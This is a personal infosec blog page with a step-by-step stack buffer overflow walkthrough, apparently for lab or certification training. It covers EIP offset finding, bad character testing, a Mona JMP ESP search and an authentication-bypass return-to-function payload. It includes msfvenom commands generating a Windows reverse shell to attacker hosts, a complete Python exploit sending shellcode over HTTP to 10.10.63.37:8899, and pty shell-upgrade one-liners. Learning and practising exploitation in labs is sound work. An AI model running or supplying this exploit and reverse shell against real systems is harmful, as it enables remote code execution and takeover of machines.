akde/infosec

Information security is ultimately about managing risk


Use the bof1_web.py or bof1_socket.py to start.

  1. Use bof1_socket_10.py to deter­mine the posi­tion of the EIP.
  2. Use bof2_socket_20.py with the found EIP off­set to ver­i­fy that the EIP was over­writ­ten with B’s.
  3. Use bof3_socket_10.py with the found EIP and find all bad chars.
  4. Find with Mona a JMP address.
  5. Cre­ate pay­load, add it and €prof­it.

0. Confirm vulnerability

  1. Down­load and exe­cute the tar­get pro­gram and attach a debug­ger to it.
  2. Use a script like web_fuzzer.py to crash it with an access violation.

1. Determine the position of the EIP

  1. Start the appli­ca­tion in a debug­ging session.
  2. Cre­ate an input string
    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4096
  3. Insert this input string into the appli­ca­tion (use bof1.py).
  4. The appli­ca­tion should stop now. Note the address to which the EIP points now. 
    1. Note: When using edb in Lin­ux, at the crash time, not the EIP but the error mes­sage shows the actu­al val­ue to which the EIP points now!
    2. If the pro­gram does­n’t crash — maybe there is a guard which checks the length of the pay­load before and does­n’t exe­cute the prob­lem­at­ic func­tion? Try to change the pay­load size.
  5. Cal­cu­late the posi­tion of the EIP val­ue. E.g. if the EIP is 0x39794338 now, cal­cu­late the posi­tion with
    /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 4096 -q 39794338 [*] Exact match at offset 2306
  6. Gen­er­ate now a new pay­load with the goal to set the EIP to a defined val­ue. Use the fol­low­ing script and set the prop­er val­ue for A.
    python -c 'print ("A" * 2306) + ("B" * 4) + ("C" * 16) + ("D" * 1500)' A: filler B: EIP C: Offset D: buffer for shellcode
  7. Insert the new payload.
  8. The pro­gram should stop so that the EIP now points at 0x42424242.

Extra: Directly call another function within the program from there.

Assume, there is func­tion in the pro­gram you saw while dis­as­sem­bling. You want to exe­cute this func­tion (e.g. to release some infor­ma­tion to cir­cum­vent authentication/authorisation).

  1. We want to call the func­tion granted:
  2. Use this pay­load to exe­cute the func­tion direct­ly:
    python -c 'print ("A" * 2306) + ("\xc0\x85\x04\x08")' 
  3. Note that the func­tion will be exe­cut­ed, but the process will prob­a­bly crash because we did­n’t per­formed the func­tion pro­log cor­rect­ly and by return­ing to the caller, the stack is messed up. To pre­vent this, add the exit adress direct­ly after the added adress so that the process will after the new func­tion direct­ly go to the exit of the pro­gram with­out crash­ing (hope­ful­ly). You can find out the exit address e.g. by using objdump/readelf or via gdb with the p exit com­mand. Example:

2. Determine bad characters

  1. Uncom­ment the bad char­ac­ters block in the script and remove the old input buffer block.
  2. Analyse the mem­o­ry and note which char­ac­ters are break­ing the mem­o­ry. Note them all down until the whole remain­ing bad char­ac­ter block was writ­ten into the memory.
    1. E.g. assum­ing the following
    2. Here, 51 is a bad char­ac­ter. Now, repeat by exe­cut­ing the script above again, but remove the \x51.
    3. And repeat… until all char­ac­ters until \xff are there.
    4. Atten­tion: If the buffer is too small, maybe there is no space for all char­ac­ters and the input will stop at some point with­out the pres­ence of a bad character!

3. Find a return address

  1. Find a return address to which we want to point the EIP. This should be a sta­t­ic address in the mem­o­ry. In Immu­ni­ty, type
    !mona modules -o
    to list only mod­ules which are not from the os. Omitt the ‑o flag to see all references.
  2. Find an entry which has not enabled any pro­tec­tive tech­nique and which address does­n’t start with 00 or any bad character.
  3. Search now in the choosen library/executeable for a posi­tion of a jump state­ment to ESP
    1. For x86, the state­ment JMP ESPFFE4
    2. In Immu­ni­ty, find these opcodes via
      !mona find -s "\xff\xe4" -m "ChoosenExecuteableOrLibraryName.dll.exe"
  4. Choose one pre­vi­ous found address of a JMP ESP state­ment. Assume, 0x1120110d was found.

NOTE: If mona finds mul­ti­ple address­es and some with “ascii”, use these address­es first!

4. Create payload

  1. Cre­ate a pay­load and add the bad char­ac­ters
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.158 LPORT=443 -f python –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x51"
  2. Adapt the fol­low­ing script and replace the pay­load and the EIP. Note to reverse the EIP byte order AND to add the NOP slide!
#!/usr/bin/python

import socket
import time
import sys

try:
print "\nSending evil buffer"
buf = b""
buf += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
buf += b"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\xa9\xc8\xc9\xe8\x83\xee\xfc\xe2\xf4\x55\x20"
buf += b"\x4b\xe8\xa9\xc8\xa9\x61\x4c\xf9\x09\x8c\x22\x98\xf9"
buf += b"\x63\xfb\xc4\x42\xba\xbd\x43\xbb\xc0\xa6\x7f\x83\xce"
buf += b"\x98\x37\x65\xd4\xc8\xb4\xcb\xc4\x89\x09\x06\xe5\xa8"
buf += b"\x0f\x2b\x1a\xfb\x9f\x42\xba\xb9\x43\x83\xd4\x22\x84"
buf += b"\xd8\x90\x4a\x80\xc8\x39\xf8\x43\x90\xc8\xa8\x1b\x42"
buf += b"\xa1\xb1\x2b\xf3\xa1\x22\xfc\x42\xe9\x7f\xf9\x36\x44"
buf += b"\x68\x07\xc4\xe9\x6e\xf0\x29\x9d\x5f\xcb\xb4\x10\x92"
buf += b"\xb5\xed\x9d\x4d\x90\x42\xb0\x8d\xc9\x1a\x8e\x22\xc4"
buf += b"\x82\x63\xf1\xd4\xc8\x3b\x22\xcc\x42\xe9\x79\x41\x8d"
buf += b"\xcc\x8d\x93\x92\x89\xf0\x92\x98\x17\x49\x97\x96\xb2"
buf += b"\x22\xda\x22\x65\xf4\xa0\xfa\xda\xa9\xc8\xa1\x9f\xda"
buf += b"\xfa\x96\xbc\xc1\x84\xbe\xce\xae\x37\x1c\x50\x39\xc9"
buf += b"\xc9\xe8\x80\x0c\x9d\xb8\xc1\xe1\x49\x83\xa9\x37\x1c"
buf += b"\xb8\xf9\x98\x99\xa8\xf9\x88\x99\x80\x43\xc7\x16\x08"
buf += b"\x56\x1d\x5e\x82\xac\xa0\xc3\xe6\xaf\x17\xa1\xea\xa9"
buf += b"\xc9\x72\x61\x4f\xa2\xd9\xbe\xfe\xa0\x50\x4d\xdd\xa9"
buf += b"\x36\x3d\x2c\x08\xbd\xe4\x56\x86\xc1\x9d\x45\xa0\x39"
buf += b"\x5d\x0b\x9e\x36\x3d\xc1\xab\xa4\x8c\xa9\x41\x2a\xbf"
buf += b"\xfe\x9f\xf8\x1e\xc3\xda\x90\xbe\x4b\x35\xaf\x2f\xed"
buf += b"\xec\xf5\xe9\xa8\x45\x8d\xcc\xb9\x0e\xc9\xac\xfd\x98"
buf += b"\x9f\xbe\xff\x8e\x9f\xa6\xff\x9e\x9a\xbe\xc1\xb1\x05"
buf += b"\xd7\x2f\x37\x1c\x61\x49\x86\x9f\xae\x56\xf8\xa1\xe0"
buf += b"\x2e\xd5\xa9\x17\x7c\x73\x39\x5d\x0b\x9e\xa1\x4e\x3c"
buf += b"\x75\x54\x17\x7c\xf4\xcf\x94\xa3\x48\x32\x08\xdc\xcd"
buf += b"\x72\xaf\xba\xba\xa6\x82\xa9\x9b\x36\x3d"

eip = "\x83\x0c\x09\x10"
inputBuffer = ("A" * 760) + eip + ("C" * 16) + buf
content = "username=" + inputBuffer + "&password=A"

buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 10.10.63.37\r\n"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Fire\r\n"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer += content

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.63.37", 8899))
s.send(buffer)
s.close()

except:
print "\nCould not connect!"
sys.exit()

5. Execute

  1. Open a nc listener.
  2. Prof­it.

Notes

  • If there is an access violation: 
    • Make sure that the NOPs are there.
    • Make sure that the com­mands are aligned (one NOP more?) See the next image. In this case, one NOP is too much.
    • Dou­ble check that the shell­code is com­plete and does­n’t stop before. In the next exam­ple, it stops after C1 and is short­er as it should be. Cause: A bad char­ac­ter was added with -b "\x00\x0a\x0d\x25\x26\0x3d” and not with -b "\x00\x0a\x0d\x25\x26\x3d".
    • Make sure that the gen­er­at­ed shell­code looks right; espe­cial­ly that he returns at the end. See the fol­low­ing screen­shot as exam­ple.

Older notes

  • The script /usr/share/metasploit-framework/tools/exploit/pattern_create.rb cre­ates long strings which can be used to detect spe­cif­ic posi­tions in input strings. 
    • Or, if this should not work: https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
  • Then, detect which part over­wrote the EIP 
    • Wan­dele den EIP in ASCII um
    • Drehe es um
    • Finde die Stelle, an der es im Pay­load vorkommt
    • Bringe dort den gewün­scht­en Wert ein — ans Umdrehen denken!
  • Vor­sicht vor bes­timmten Werten im Payload: 
    • 0x00 Null-Byte (offen­sichtlich)
    • 0x0D Zeilenum­bruch (markiert i.d.R. Ende ein­er Eingabe)
    • Testen auf schlechte Werte: Sende ein­mal einen Pay­load mit allen Eingaben von 0x00 bis 0xff und schaue, wie die Anwen­dung darauf reagiert. 
      • Z.B. mit fol­gen­dem Skript:
      • ruby -e '0.upto(255).each { |i| print "\\x#{(i < 16) ? "0" : ""}#{i.to_s(16)}" }'
      • Dann damit aus­führen. Beim Anhal­ten schauen, welch­er Wert an der Adresse des Stack-Zeigers (ESP) liegt.
  • Pay­loads kön­nen gener­iert werten durch
msfvenom -l payloads
  • Beispiel dafür für Win­dows-Reverse-Shell ohne einige böse Zeichen: (Es muss natür­lich vor Aus­führung nc auf dem Host lauschen, zu dem die Reverse-Shell weit­ergeleit­et wer­den soll.)
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';